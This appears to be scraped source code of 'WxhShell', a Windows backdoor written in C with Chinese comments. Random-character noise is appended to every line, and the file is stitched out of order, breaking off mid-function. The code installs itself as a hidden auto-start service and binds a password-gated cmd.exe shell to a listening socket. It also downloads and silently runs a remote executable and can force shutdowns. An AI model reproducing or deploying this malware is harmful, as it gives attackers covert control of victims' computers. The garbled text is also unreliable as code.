    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); f@c`8L@g  
    if(Boot(SHUTDOWN)) pt}X>ph{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,zTy?OQ  
    else { (zFi$  
    closesocket(wsh); k Zq!&  
    ExitThread(0); &EnuE0BD  
    } ^) s2$A:L  
    break; L{`JRu  
    } E)fglYWs2  
  // 获取shell {qa Aq%'  
  case 's': { @#-q^}3  
    CmdShell(wsh); <(-hx+^  
    closesocket(wsh); w/K_B:s  
    ExitThread(0); :]1 TGfS  
    break; W}]%X4<#rN  
  } aT$9;  
  // 退出 ?%y?rk <  
  case 'x': { J":,Vd!*-  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Ht4;5?/y  
    CloseIt(wsh); 5kz)5,KjM  
    break; ,c)uX#1  
    } 4%3M b-#Y]  
  // 离开 E2{FK)qT  
  case 'q': { <|Pun8j  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); [bk?!0]aV  
    closesocket(wsh); KFwzy U"  
    WSACleanup(); x3"#POp  
    exit(1); }x wu*Zx  
    break; B[4KX  
        } S9",d~EM  
  } .8G@%p{,  
  } ,5*eX  
L~NbdaO  
  // 提示信息 8UVmv=T  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); n;T7=1_"  
} UZpIcj cL  
  } <N9[?g)  
5x>}O3Q_  
  return; gE?| _x#  
} Sh8"F@P8  
" _ka<R..  
// shell模块句柄 ;h jwD  
int CmdShell(SOCKET sock) CtSl  
{ K]0JC/R6(@  
STARTUPINFO si; 5)MS~ii  
ZeroMemory(&si,sizeof(si)); }dd8N5b  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #hsx#x||  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; )}?#  
PROCESS_INFORMATION ProcessInfo; A?pbWt ~}  
char cmdline[]="cmd"; g #6E|n  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); fk x \=  
  return 0; rq/I` :  
} fL=~NC"  
-B$2\ZE  
// 自身启动模式 6Z%U`,S  
int StartFromService(void) q*7VqB  
{ 5w@4:$=I  
typedef struct ] A+?EE2/  
{ )(384@'"u  
  DWORD ExitStatus; A'&K/)Z  
  DWORD PebBaseAddress; -u8NF_{c  
  DWORD AffinityMask; !_cg\K U#  
  DWORD BasePriority; {R? U.eJW  
  ULONG UniqueProcessId; tyqT  
  ULONG InheritedFromUniqueProcessId; ?pB>0b~3-  
}   PROCESS_BASIC_INFORMATION; [6XF=L,!  
Xn%pNxUL  
PROCNTQSIP NtQueryInformationProcess; Evjj"h&0J  
7G>dTO  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Q{5kxw1ZF  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 3skC$mpJHw  
f__cn^1  
  HANDLE             hProcess; d! LE{  
  PROCESS_BASIC_INFORMATION pbi; De(Hw& IV  
~,B5Hc 2  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); K$E3QVa  
  if(NULL == hInst ) return 0; Nqa&_5"  
uW} s)j.  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); !*%WuyCgr4  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ZP\-T*)l$  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); /VN f{p  
+yD`3` E  
  if (!NtQueryInformationProcess) return 0; <,e+ kL{  
v63"^%LX  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?I~()]k5  
  if(!hProcess) return 0; /q`xCS  
0p}D(m2B  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 2 Cv4=S  
YLzx<~E4a  
  CloseHandle(hProcess); 2-Ej4I~  
5?F__Hx*2  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Bx4w)9+3  
if(hProcess==NULL) return 0; U_n9]Z  
.jk@IL  
HMODULE hMod; 9#MBaO8_"  
char procName[255]; KQg]0y d  
unsigned long cbNeeded; V^Q#:@0  
yU-e3O7L  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); sWc*5Rt  
[VsKa\9u  
  CloseHandle(hProcess); HTS%^<u  
E4~<V=2l  
if(strstr(procName,"services")) return 1; // 以服务启动 l^pA2yh|  
L"4mL,  
  return 0; // 注册表启动 ^5h]Y;tx  
} ;E3>ay6m8  
<?riU\-]y  
// 主模块 = 's(|  
int StartWxhshell(LPSTR lpCmdLine) F.=2u"[*&  
{ < v@9#c  
  SOCKET wsl; q$B>|y U  
BOOL val=TRUE; EkjN{$*  
  int port=0; O\"3J(y,  
  struct sockaddr_in door; xQ^E"Q,1  
YW( Qmo7  
  if(wscfg.ws_autoins) Install(); pH"#8O&  
\ b?" b  
port=atoi(lpCmdLine); @ W[f1  
,>0*@2  
if(port<=0) port=wscfg.ws_port; eQp4|rf  
KmA;HiH%J  
  WSADATA data; $+Z)  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; "2)H'<  
]dGw2y  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   lTV'J?8!-a  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); CkoL TY  
  door.sin_family = AF_INET; 2Q/4bJpd  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); mUdOX7$c>  
  door.sin_port = htons(port); 0"\H^  
@M_oH:GV  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { hPUYyjXPB  
closesocket(wsl); "NXB$a!:  
return 1; IDB+%xl#S  
} 2ZG5<"DQ"  
[f1 (`<  
  if(listen(wsl,2) == INVALID_SOCKET) { oPXkYW  
closesocket(wsl); o:3dfO%nuM  
return 1; iB%gPoDCL@  
} w~"KA6^  
  Wxhshell(wsl); Kgi<UkFP  
  WSACleanup(); X[&Wkr8x '  
ymx>i~>7J  
return 0; )ttUWy$w  
,+meT`'vn  
} 7Z\--=;|[:  
--%N8L;e  
// 以NT服务方式启动 kt["m.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) M42 Ssn)  
{ U |Jo{(Y  
DWORD   status = 0; ZjQ |Wx  
  DWORD   specificError = 0xfffffff; #><.oreXq  
V-Sd[  
  serviceStatus.dwServiceType     = SERVICE_WIN32; h?BFvbAt  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; T"E6y"D  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; i+S) K  
  serviceStatus.dwWin32ExitCode     = 0; YW_Q\|p]M  
  serviceStatus.dwServiceSpecificExitCode = 0; 1m:XR0P  
  serviceStatus.dwCheckPoint       = 0; Sjyoc<Uo  
  serviceStatus.dwWaitHint       = 0; 17oa69G  
<SgM@0m  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); `_`QxM  
  if (hServiceStatusHandle==0) return; `.FF!P:{C*  
M^r1S  
status = GetLastError(); [<g?WPCcC  
  if (status!=NO_ERROR) u'|4?"uz  
{ ||hb~%JK6  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED;  PT=2@kH  
    serviceStatus.dwCheckPoint       = 0; gcPTLh[^Er  
    serviceStatus.dwWaitHint       = 0; T arIPp  
    serviceStatus.dwWin32ExitCode     = status; ,9}h  
    serviceStatus.dwServiceSpecificExitCode = specificError; ES.fOdx  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ZniB]k1  
    return;  -QM: q  
  } #h8Sq~0  
zF8dKFE~  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; :Q $K<)[  
  serviceStatus.dwCheckPoint       = 0; 7VqM$I  
  serviceStatus.dwWaitHint       = 0; /%}*Xh  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); u09:Z{tL;@  
} -0$55pa/@:  
>VP= MbN  
// 处理NT服务事件,比如:启动、停止 ^;Y|3)vvB  
VOID WINAPI NTServiceHandler(DWORD fdwControl) vY  }A  
{ TZ(cu>  
switch(fdwControl) G-xDN59K  
{ P"y`A}Bx  
case SERVICE_CONTROL_STOP: / ';0H_  
  serviceStatus.dwWin32ExitCode = 0; juka0/  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; pQ=>.JU  
  serviceStatus.dwCheckPoint   = 0; Y;@>b{s  
  serviceStatus.dwWaitHint     = 0; <lw` 3aa(  
  { j9?}j #@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); EQb7 -vhg  
  } 3DiLk=\~  
  return; \W1,F6&j  
case SERVICE_CONTROL_PAUSE: R7$:@<:g  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 9[b<5Llt  
  break; Q[vJqkgT  
case SERVICE_CONTROL_CONTINUE: wRcAX%n&  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; CFzNwgv]z  
  break; Rz bj  
case SERVICE_CONTROL_INTERROGATE: s>;v!^N?u  
  break; 4zev^FR  
}; bJRN;g  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 66/3|83Z  
} 5][Ztx  
5R@  
// 标准应用程序主函数 \6E|pbJ}x  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) !sDh4jQ`  
{ ^?0DP >XA  
PP;}e  
// 获取操作系统版本 +BVym~*^  
OsIsNt=GetOsVer(); zLD0RBj7p  
GetModuleFileName(NULL,ExeFile,MAX_PATH); T (OW  
v, n$^R  
  // 从命令行安装 'Jt]7;04p  
  if(strpbrk(lpCmdLine,"iI")) Install(); ^?cz,N~  
lE;Ewg  
  // 下载执行文件 #!aN{nK0  
if(wscfg.ws_downexe) { {1V($aBl  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) "= 6_V?&w  
  WinExec(wscfg.ws_filenam,SW_HIDE); :3XA!o&.T3  
} @&%'4j&+  
2z6yn?'&L  
if(!OsIsNt) { \>jLRb|7Ts  
// 如果时win9x,隐藏进程并且设置为注册表启动 VL% UR{  
HideProc(); ~$iIVJ`  
StartWxhshell(lpCmdLine); Z*y`R XE  
} !V"<U2  
else !>{G,\^=pT  
  if(StartFromService()) A )^`?m3  
  // 以服务方式启动 &Q;sSIc  
  StartServiceCtrlDispatcher(DispatchTable); Ss~;m']68  
else "x=f=;  
  // 普通方式启动 !/}O>v~o  
  StartWxhshell(lpCmdLine); =Z P%mW&;}  
WM| dKF  
return 0; |uqf:V`z:  
} <(-= 'QA  
$FlW1E j  
'oF%,4 !Y  
p<TpK )  
=========================================== ?]Pmxp H}  
CN#+U,NZV  
lsNrAA%m  
;3d"wW]}7K  
]l1\? I  
a:"Uh**  
" ^* J2'X38I  
UUzYbuS>&l  
#include <stdio.h> =NnNN'}  
#include <string.h> m@"QDMHk.  
#include <windows.h> #JgH}|&a$  
#include <winsock2.h> "} q@Y=  
#include <winsvc.h> OK{quM5  
#include <urlmon.h> tSVc|j  
qQA}Z*( m  
#pragma comment (lib, "Ws2_32.lib") q*F{/N **  
#pragma comment (lib, "urlmon.lib") dRj|g  
V.O(S\  
#define MAX_USER   100 // 最大客户端连接数 xl6,s>ob  
#define BUF_SOCK   200 // sock buffer giZP.C"0  
#define KEY_BUFF   255 // 输入 buffer +V m}E0Ov  
o*DN4oa)  
#define REBOOT     0   // 重启 rG4';V^q  
#define SHUTDOWN   1   // 关机 MS\>DW  
!G SV6  
#define DEF_PORT   5000 // 监听端口 v%"|WV[N  
e?7& M  
#define REG_LEN     16   // 注册表键长度 D}dn.$  
#define SVC_LEN     80   // NT服务名长度 iVB86XZ`  
wF|fK4F  
// 从dll定义API NWM8[dI  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); V n*  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 3pv4B:0  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); O-LO/*5MI  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); `D=S{   
S/D^  
// wxhshell配置信息 <F}_ /q1  
struct WSCFG { 5Yl <h)1  
  int ws_port;         // 监听端口 RoU55mL  
  char ws_passstr[REG_LEN]; // 口令 #9X70|f  
  int ws_autoins;       // 安装标记, 1=yes 0=no /LO -HnJ  
  char ws_regname[REG_LEN]; // 注册表键名 o Z%9_$Z  
  char ws_svcname[REG_LEN]; // 服务名 H *[_cqnv  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 D+>4AqG  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 o$w_Es]Ma  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Z&|Kki*  
int ws_downexe;       // 下载执行标记, 1=yes 0=no n^z]q;IN2.  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" {B[=?6tQ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 8-BflejX  
l-SAC3qhG  
}; ft$RSb#  
a"FCZ.O1  
// default Wxhshell configuration BReJ!|{m}  
struct WSCFG wscfg={DEF_PORT, 4:|S` jm  
    "xuhuanlingzhe", +pR[U4$  
    1, kuol rfGB  
    "Wxhshell", ;?8_G%va  
    "Wxhshell", tS|(K=$  
            "WxhShell Service", xYmxc9)2  
    "Wrsky Windows CmdShell Service", ,=Mt`aN  
    "Please Input Your Password: ", |QU <e  
  1, } \XfH  
  "http://www.wrsky.com/wxhshell.exe", `}mcEl  
  "Wxhshell.exe" K Pt5=a  
    }; NMa} <  
p(~Yx3$*  
// 消息定义模块 i(iXD  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; " f "6]y  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 0URji~?|x  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; c&AygqN  
char *msg_ws_ext="\n\rExit."; (CsD*U`h  
char *msg_ws_end="\n\rQuit."; qMLD)rL  
char *msg_ws_boot="\n\rReboot..."; huJ&]"C  
char *msg_ws_poff="\n\rShutdown..."; jg.QRny^  
char *msg_ws_down="\n\rSave to "; b*`lk2oMa/  
ZaL.!g  
char *msg_ws_err="\n\rErr!"; 7cTV?nc  
char *msg_ws_ok="\n\rOK!"; "J4WzA%i  
1XD,uoxB  
char ExeFile[MAX_PATH]; nPye,"A Ol  
int nUser = 0; CitDm1DXt/  
HANDLE handles[MAX_USER]; _NMm/]mN /  
int OsIsNt; ~g5[$r-u-u  
%`r?c<P}  
SERVICE_STATUS       serviceStatus; LN@F+CyDc  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; |NpP2|4h  
Zg'Q>.:  
// 函数声明 XDFx.)t  
int Install(void); y~F,0"N\r  
int Uninstall(void); *XT/KxLa7  
int DownloadFile(char *sURL, SOCKET wsh); FQqI<6;  
int Boot(int flag); D^=J|7e  
void HideProc(void); Pmh8sw  
int GetOsVer(void); Mdl{}P0)  
int Wxhshell(SOCKET wsl); maXG:l|  
void TalkWithClient(void *cs); ;4.!H,d  
int CmdShell(SOCKET sock); T[j#M+p  
int StartFromService(void); ZuS0DPS`L  
int StartWxhshell(LPSTR lpCmdLine); UE$UR#T'w  
Q0&H#xgt  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); cVv;Jn  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); p$PKa.Y3  
X)7x<?DAy  
// 数据结构和表定义 YbTxn="_  
SERVICE_TABLE_ENTRY DispatchTable[] = H;YP8MoQ  
{ i*#-I3  
{wscfg.ws_svcname, NTServiceMain}, Yy)tmq  
{NULL, NULL} >D(RYI  
}; +\F'iAs@  
A^)?Wt%*  
// 自我安装 2oNk 93D  
int Install(void) wid;8%m  
{ rvXWcu-"  
  char svExeFile[MAX_PATH]; K95p>E`9e  
  HKEY key; X@K-^8  
  strcpy(svExeFile,ExeFile); P!+'1KR  
cm&I* 0\  
// 如果是win9x系统,修改注册表设为自启动 J6L  K  
if(!OsIsNt) {  DX"xy  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { i`dC G[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); w*oQ["SL  
  RegCloseKey(key); 9983aFam  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?e,pN,4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @U3Vc|  
  RegCloseKey(key); e^<#53!  
  return 0; K }Vv4x1U  
    } XqW@rU  
  } Aq0S-HKF  
} >rJnayLF  
else { S$Q8>u6Wk  
v?& -xH-S  
// 如果是NT以上系统,安装为系统服务 763v  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); :9$F'd\  
if (schSCManager!=0) Q 4f/Z  
{ Hhari!R XC  
  SC_HANDLE schService = CreateService 2@%$;.  
  ( <iH`rP#  
  schSCManager, ^OstR`U3  
  wscfg.ws_svcname, K)Q]a30  
  wscfg.ws_svcdisp, <xgTS[k  
  SERVICE_ALL_ACCESS, PzA|t;*  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ~~SwCXZ+b^  
  SERVICE_AUTO_START, >i5acuth  
  SERVICE_ERROR_NORMAL, b0Kc^uj5  
  svExeFile, +(C6#R<LI  
  NULL, B, TB3 {  
  NULL, j}~86JO+Cw  
  NULL, $+>M{fg?  
  NULL, WC.t_"@  
  NULL kX>f^U{j  
  ); pBETA'fY  
  if (schService!=0) JWMpPzs  
  { q.2ykL  
  CloseServiceHandle(schService); 3>R#zJf  
  CloseServiceHandle(schSCManager); %=/)  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ($}`R xj1@  
  strcat(svExeFile,wscfg.ws_svcname); Vzwc}k*Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {  Fl1;;F  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); U`Wauv&  
  RegCloseKey(key); }jVSlCF@t  
  return 0; /4 vG3  
    } :1iqT)&|8F  
  } wYQ&C{D%  
  CloseServiceHandle(schSCManager); tb$LriN  
} brdmz}  
} 0 0 M@  
`.x Fiyc  
return 1; A@sZ14+f  
} |m80]@>  
XI9js{p  
// 自我卸载 uwjGDw  
int Uninstall(void) `kU/NKq  
{ \U[ {z&]~  
  HKEY key; =9"W@n[>W  
IaT$ 6\>  
if(!OsIsNt) { sfOHarww  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { D;_ MPN[  
  RegDeleteValue(key,wscfg.ws_regname); G=A,9@+c  
  RegCloseKey(key); I+dbZBX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { FKT1fv[H  
  RegDeleteValue(key,wscfg.ws_regname); ui@2s;1t  
  RegCloseKey(key); ;uW}`Q<  
  return 0; tPGJ<30  
  } \l.-eu'O  
} vh*U]3@  
} |jVM&R2s  
else { 82]vkU  
k5C@>J  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 1f8GW  
if (schSCManager!=0) hWT[L.>k  
{ A _XhuQB;d  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); MHsc+gQiz  
  if (schService!=0) iTV) NsC}  
  { $pFo Rv  
  if(DeleteService(schService)!=0) { _<NMyRJo  
  CloseServiceHandle(schService); W~p/,HcM  
  CloseServiceHandle(schSCManager); aOiR l,  
  return 0; ltD37QZQ  
  } 3l3'bw2  
  CloseServiceHandle(schService); YJl("MZ  
  } ,iv|Pq $!  
  CloseServiceHandle(schSCManager); ")!,ZD  
} #*g5u{k'P  
} I<8sI%,s  
|7}C QU  
return 1; a'jR#MQl?  
} ?zsB6B?;  
9`w)  
// 从指定url下载文件 HH@qz2w  
int DownloadFile(char *sURL, SOCKET wsh) |)K]U  
{ h?FmBK'BAd  
  HRESULT hr; L[20m (6?  
char seps[]= "/"; qq1-DG  
char *token; mBG=jI "xh  
char *file; [_.5RPJP8  
char myURL[MAX_PATH]; mUz\ra;z  
char myFILE[MAX_PATH]; 6^c>,.R  
#~.w&~ :  
strcpy(myURL,sURL); `p7&> BOA  
  token=strtok(myURL,seps); K%Rj8J7|u?  
  while(token!=NULL) SY^dWLf  
  { GKFq+]W  
    file=token; 3RR_fmMT)  
  token=strtok(NULL,seps); 1[t=XDz/e  
  } U=o"32n+  
zKsz*xv6b  
GetCurrentDirectory(MAX_PATH,myFILE); v !FMs<  
strcat(myFILE, "\\"); {s_+?<l  
strcat(myFILE, file); Gsc\/4Wx  
  send(wsh,myFILE,strlen(myFILE),0); 0sh/|`\  
send(wsh,"...",3,0); zWb4([P;  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Xj5~%DZp  
  if(hr==S_OK) ~~6^Sh60g  
return 0; yG sz2T;w  
else B-T/V-c7  
return 1; "n=vN<8(o  
V2<?ol  
} \#>T~.Y7K  
YTjkPj:  
// 系统电源模块 W":PG68  
int Boot(int flag) `St.+6^J  
{ C{q:_M;  
  HANDLE hToken; v,\R, {0  
  TOKEN_PRIVILEGES tkp; + \{&2a?  
1& '8Y  
  if(OsIsNt) { RJON90,J  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); cn- nj]  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ( &frUQm  
    tkp.PrivilegeCount = 1; d)"?mD:m/M  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ~(@ E`s&{  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); | /|  
if(flag==REBOOT) { `WOYoec   
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Y2[A2Uy$ef  
  return 0; ZDC9oX @  
} J-<^P5  
else { BkZV!Eg  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ((^sDE6(  
  return 0; JMS(9>+TA  
} -dO'~all  
  } =SAU4xjo  
  else { 80$fG8  
if(flag==REBOOT) { V`-vR2(  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) _"%B7FK  
  return 0; zA;@@)hwR  
} XZ/[v8  
else { BnM4T~reOF  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) I Nc^L  
  return 0; _zu?.I0^  
} @y/wEBb  
} _HA$ j2  
Jy aag-  
return 1; kGUJ9Du  
} vw)7 !/#  
Ol')7d&  
// win9x进程隐藏模块 o1/lZm{\~n  
void HideProc(void) '/I:^9  
{ n6(.{M;  
^o !O)D-q  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); QQpP#F|w  
  if ( hKernel != NULL ) L}yyaM)  
  { gBf4's  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); $) 5Bf3P0  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); IjfxR mV  
    FreeLibrary(hKernel); $j 5,%\4<  
  } "aF8l<1xn  
cM_ Fp  
return; Z h/Uu6  
} e62Dx#IY  
k5&bq2)I  
// 获取操作系统版本 6st^4S5  
int GetOsVer(void) $^tv45  
{ vwr74A.g0  
  OSVERSIONINFO winfo; CZEW-PIhj  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ItX5JV)  
  GetVersionEx(&winfo); c:l]=O   
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) dtAbc7  
  return 1; e2C<PGUUB  
  else %Z8vdU#l  
  return 0; M]-VHI[&W  
} dxj*Q "K  
 j4R 4H;  
// 客户端句柄模块 L}j0a>=x4  
int Wxhshell(SOCKET wsl) \NqEw@91B  
{ s(_+!d6  
  SOCKET wsh; cW``M.d'F  
  struct sockaddr_in client; w#^U45y1v  
  DWORD myID; 3g~^LZ66  
$iM=4 3W  
  while(nUser<MAX_USER) K"2|[5  
{ ]/T -t1D  
  int nSize=sizeof(client); XW L^  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); SLhEc  
  if(wsh==INVALID_SOCKET) return 1; fB+b}aoV  
ap}5ElMR  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); MbXq`%  
if(handles[nUser]==0) m/`IGT5J  
  closesocket(wsh); fRm}S>Nibb  
else p[WX'M0f  
  nUser++; qXXGF_Q  
  } zEw >SP1,  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 2>\\@ 1  
{5%/T,  
  return 0; +^6}   
} n$2RCQ  
CT d|`  
// 关闭 socket jLcHY-P0V  
void CloseIt(SOCKET wsh) Vdn.)ir~P  
{ $gMCR b,  
closesocket(wsh); XV'fW~j\  
nUser--; yW.COWL=)  
ExitThread(0); L<(VG{)Z  
} Zwe[_z!*D  
J Lb6C 52  
// 客户端请求句柄 x:t<ZG&Xwg  
void TalkWithClient(void *cs) Ewo*yY>  
{ nE y]`  
\%,&~4 !  
  SOCKET wsh=(SOCKET)cs; 5eX59:vtl  
  char pwd[SVC_LEN]; v.W{x?5  
  char cmd[KEY_BUFF]; s%;<O:x8o  
char chr[1]; :G)<}j"sM  
int i,j; 8 3.E0@$  
oJ78jGTnb  
  while (nUser < MAX_USER) { :k46S<RE  
%d: A`7x  
if(wscfg.ws_passstr) { A 2x;fgi  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |)@N-f:E  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -cNx1et  
  //ZeroMemory(pwd,KEY_BUFF); gY`Nr!O  
      i=0; U '[?9/T  
  while(i<SVC_LEN) { 1h"_[`L'  
8o)L,{yl  
  // 设置超时 wAbp3hX  
  fd_set FdRead; {4ptu~8  
  struct timeval TimeOut; #B\=Aa`*  
  FD_ZERO(&FdRead); JatHSW7j9  
  FD_SET(wsh,&FdRead); fo\\o4Qyh  
  TimeOut.tv_sec=8; c!&Qj  
  TimeOut.tv_usec=0; s0{ NsK>  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); !W1eUY  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Xy#V Q{!  
JZ`L%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); N_C_O$j  
  pwd=chr[0]; <?$kI>Ot  
  if(chr[0]==0xd || chr[0]==0xa) { H?}wl%  
  pwd=0; Kla:e[{  
  break; um8AdiK  
  } R9. HD?H@  
  i++; ~4 FDKU C  
    } @~jxG%y86  
~uPk  
  // 如果是非法用户,关闭 socket >zL |8f  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 7unA"9=[4V  
} I{dl%z73  
i=QqB0  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); +Z? [M1g  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6b:DJ  
~HP LV  
while(1) { eX<K5K.B  
wsg//Ec]  
  ZeroMemory(cmd,KEY_BUFF); N4[E~ -  
:$"7-a %f  
      // 自动支持客户端 telnet标准   R'EW7}&  
  j=0; TC-f%1(  
  while(j<KEY_BUFF) { GhnE>d;i  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $P?{O3:V  
  cmd[j]=chr[0]; J5T=!wF (  
  if(chr[0]==0xa || chr[0]==0xd) { ]+IVSxa!u  
  cmd[j]=0; "2h5m4  
  break; #t5juX9Ho9  
  } b*9e1/]  
  j++;  3t  
    } ;]h.m)~|  
,L-C(j  
  // 下载文件 4]UT+'RubX  
  if(strstr(cmd,"http://")) { *5wv%-  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 3c 28!3p  
  if(DownloadFile(cmd,wsh))  b~!om  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); !b%,'fy)  
  else ||a`fH  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +)-d_K.(k  
  } onzA7Gre  
  else { Q=.g1$LP  
ZA.fa0n  
    switch(cmd[0]) { aBCOGtf  
  q<}PM  
  // 帮助 d5, FM  
  case '?': { DS 1JF  
